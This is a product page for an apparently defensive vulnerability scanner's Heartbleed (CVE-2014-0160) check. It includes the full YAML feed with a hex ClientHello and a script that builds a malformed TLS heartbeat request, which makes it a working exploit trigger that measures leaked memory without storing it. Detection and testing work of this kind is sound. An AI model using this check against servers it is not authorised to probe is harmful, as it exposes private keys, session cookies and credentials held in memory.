OpenSSL — 1 vulnerability check

noctis ships 1 vulnerability check for OpenSSL, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

OpenSSL Heartbleed TLS heartbeat memory disclosure

CVECVE-2014-0160
Severityhigh · CVSS 7.5
Categoryexposure — Exposure
Serviceshttps, https-alt, ssl, imaps, pop3s, smtps, ftps, ldapssl, telnets
Detectiontcp_open, tcp_send, script, match, tcp_close · highest QoD 97
Feedtests/vulnerabilities/openssl/CVE-2014-0160.yaml

The TLS server answered a malformed heartbeat request (declared payload length 16384, a few bytes actually sent) with a heartbeat response far larger than the request that echoes the scanner's marker, proving the OpenSSL heartbeat out-of-bounds read (Heartbleed): any client can read up to 64 KB of process memory per request (private keys, session cookies, credentials).

How noctis detects it

  1. Opens a persistent TCP/TLS socket
  2. Sends a binary frame on the open socket
  3. Parses / computes the next value with a Rhai script
  4. Sends a binary frame on the open socket
  5. Parses / computes the next value with a Rhai script
  6. Checks res.leak for ^true$ → finding QoD 97: OpenSSL Heartbleed memory disclosure (CVE-2014-0160)

References:

Feed source — tests/vulnerabilities/openssl/CVE-2014-0160.yaml
# OpenSSL "Heartbleed" — TLS heartbeat out-of-bounds read (CVE-2014-0160).
#
# Ported from OpenVAS/Greenbone NVT 2014/gb_openssl_heartbeat_66690.nasl
# (OID 1.3.6.1.4.1.25623.1.0.103936, GPL-2.0-only). Same active check:
#
#   1. tcp_open  — plain TCP to the TLS port (tls: false — we speak raw records).
#   2. tcp_send  — a ClientHello advertising the heartbeat extension (RFC 6520),
#                  read the server's flight up to ServerHelloDone.
#   3. script    — read the negotiated version from the ServerHello and build a
#                  malformed HeartbeatRequest: declared payload_length 16384, but
#                  only 16 bytes of padding + a random marker actually sent.
#   4. tcp_send  — send it on the same socket.
#   5. script    — walk the reply's TLS records: a heartbeat record (type 0x18)
#                  whose length exceeds what we sent AND that echoes our marker
#                  proves the server copied 16 KB from its own memory.
#
# This is a real (benign) exploitation of the bug, not a version fingerprint:
# the over-read is observed. Nothing is written on the target. The leaked bytes
# are only measured — never copied into `evidence:` (only the record length is).
#
# Improvements over the NASL:
#   - one ClientHello offering TLS 1.2 down to 1.0 (incl. AES-GCM/SHA-256 suites
#     for TLS 1.2-only servers) instead of one connection per version;
#   - the heartbeat record carries the version the server actually negotiated
#     (read from the ServerHello), so a server that downgrades to TLS 1.0/1.1 is
#     not missed with a "wrong version number" alert;
#   - the match requires a heartbeat record (type 0x18) longer than the request,
#     not just the marker anywhere in the stream — an echo of the request by a
#     non-TLS service cannot match.
uid: 504ebcf1-8761-41c1-9eba-061412be684a
name: "OpenSSL Heartbleed TLS heartbeat memory disclosure (CVE-2014-0160)"
cves: [CVE-2014-0160]
cvss: 7.5
severity: high
category: exposure
confidence_base: 0.30
tags: [openssl, tls, ssl, heartbleed, heartbeat, memory-disclosure, intrusive, kev]
services: [https, https-alt, ssl, imaps, pop3s, smtps, ftps, ldapssl, telnets]
author: noctis
version: "1.0.0"
description: |
  The TLS server answered a malformed heartbeat request (declared payload length
  16384, a few bytes actually sent) with a heartbeat response far larger than the
  request that echoes the scanner's marker, proving the OpenSSL heartbeat
  out-of-bounds read (Heartbleed): any client can read up to 64 KB of process
  memory per request (private keys, session cookies, credentials).
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2014-0160"
  - "https://heartbleed.com/"
  - "https://www.openssl.org/news/secadv/20140407.txt"
  - "https://github.com/FiloSottile/Heartbleed"

steps:
  # 1 — raw TCP socket on the TLS port. tls: false is required: the service is
  #     usually `https`, which would otherwise wrap the socket in rustls.
  - id: open
    action: tcp_open
    handle: hb
    port: "{{port}}"
    tls: false
    timeout_secs: 10
    store_as: conn

  # 2 — ClientHello: record 0x0301, client_version TLS 1.2 (0x0303), 30 cipher
  #     suites (GCM/CBC, ECDHE/DHE/RSA) + renegotiation SCSV, extensions
  #     ec_point_formats, supported_groups, signature_algorithms and
  #     heartbeat (000f 0001 01 = peer_allowed_to_send).
  - id: client-hello
    action: tcp_send
    handle: hb
    condition: "conn.connected == true"
    send_hex: "1603010098010000940303202122232425262728292a2b2c2d2e2f303132333435363738393a3b3c3d3e3f00003ec02fc02bc030c02c009e009c009f009dc027c023c028c024c013c009c014c00a0067006b00330039003c003d002f0035c012c0080016000a0005000400ff0100002d000b00020100000a00080006001700180019000d0012001004010501060104030503060302010203000f000101"
    timeout_secs: 10
    store_as: hello

  # Note: tcp_send waits up to timeout_secs for the first byte, then reads until
  # 500 ms of silence (engine READ_IDLE_MS). Servers write whole
  # TLS records, so a flight split by that gap stays record-aligned in the
  # next reply.
  # 3 — the reply must start with a handshake record carrying a ServerHello.
  #     Take the negotiated version from it and build the heartbeat record:
  #       18 <ver> <len:2> | 01 4000 | 16 x 'X' | ->noctis-hb-<rand><-
  - id: build-heartbeat
    action: script
    condition: "hello.responded == true"
    store_as: req
    code: |
      let hex = if type_of(hello.response_hex) == "string" { tolower(hello.response_hex) } else { "" };
      let ok = strlen(hex) >= 22 && substr(hex, 0, 1) == "16" && substr(hex, 10, 11) == "02";
      let ver = if ok { substr(hex, 18, 21) } else { "0301" };
      if ver != "0300" && ver != "0301" && ver != "0302" && ver != "0303" { ok = false; }
      let marker = "->noctis-hb-" + rand_str(12) + "<-";
      let payload = "014000" + hexstr(crap(16)) + hexstr(marker);
      let sent = strlen(payload) / 2;
      #{
        ok: ok,
        version: ver,
        hb_ext: stridx(hex, "000f000101") >= 0,
        marker_hex: hexstr(marker),
        sent: sent,
        frame: "18" + ver + p16be(sent) + payload
      }

  # 4 — send the malformed HeartbeatRequest on the same socket.
  - id: heartbeat
    action: tcp_send
    handle: hb
    condition: "req.ok == true"
    send_hex: "{{req.frame}}"
    timeout_secs: 10
    store_as: hb_reply

  # 5 — walk the TLS records of the reply. A patched OpenSSL (>= 1.0.1g)
  #     silently drops the request; a vulnerable one returns a heartbeat
  #     record of ~16 KB that starts with our padding + marker.
  - id: parse-heartbeat
    action: script
    condition: "hb_reply.responded == true"
    store_as: res
    code: |
      let hex = if type_of(hb_reply.response_hex) == "string" { tolower(hb_reply.response_hex) } else { "" };
      let pos = 0;
      let rec_len = 0;
      let found = false;
      while !found && pos + 10 <= strlen(hex) {
        let t = substr(hex, pos, pos + 1);
        let l = u16be(substr(hex, pos + 6, pos + 9));
        if t == "18" { found = true; rec_len = l; } else { pos += 10 + l * 2; }
      }
      // The marker must sit inside the heartbeat record, and the record must be
      // far larger than the request: a correct server that merely echoes what it
      // received (+16 bytes of padding) returns ~61 bytes; a vulnerable OpenSSL
      // returns 16384+19 (one record, or a first record of 16384).
      let echoed = found && stridx(hex, req.marker_hex) > pos;
      #{
        leak: echoed && rec_len > req.sent + 16 + 256,
        record_len: rec_len,
        received: strlen(hex) / 2
      }

  - id: confirm-leak
    action: match
    source: res.leak
    pattern: "^true$"
    condition: "res.leak == true"
    on_match:
      finding:
        title: "OpenSSL Heartbleed memory disclosure (CVE-2014-0160)"
        description: "The server answered a malformed TLS heartbeat request with an oversized heartbeat response echoing the scanner's marker: the OpenSSL heartbeat out-of-bounds read (Heartbleed) leaks process memory to unauthenticated clients."
        remediation: "Upgrade OpenSSL to 1.0.1g or later (or rebuild with -DOPENSSL_NO_HEARTBEATS), restart every service linked to it, then revoke and reissue the server certificates and invalidate sessions and credentials that may have leaked."
        confidence_delta: 0.65
        qod: 97
        evidence: "TLS {{req.version}} heartbeat request of {{req.sent}} bytes declaring 16384; server returned a heartbeat record of {{res.record_len}} bytes echoing the marker ({{res.received}} bytes received, content not stored; heartbeat extension in ServerHello: {{req.hb_ext}})"
      stop: true

  - id: close
    action: tcp_close
    handle: hb

View these feeds on GitHub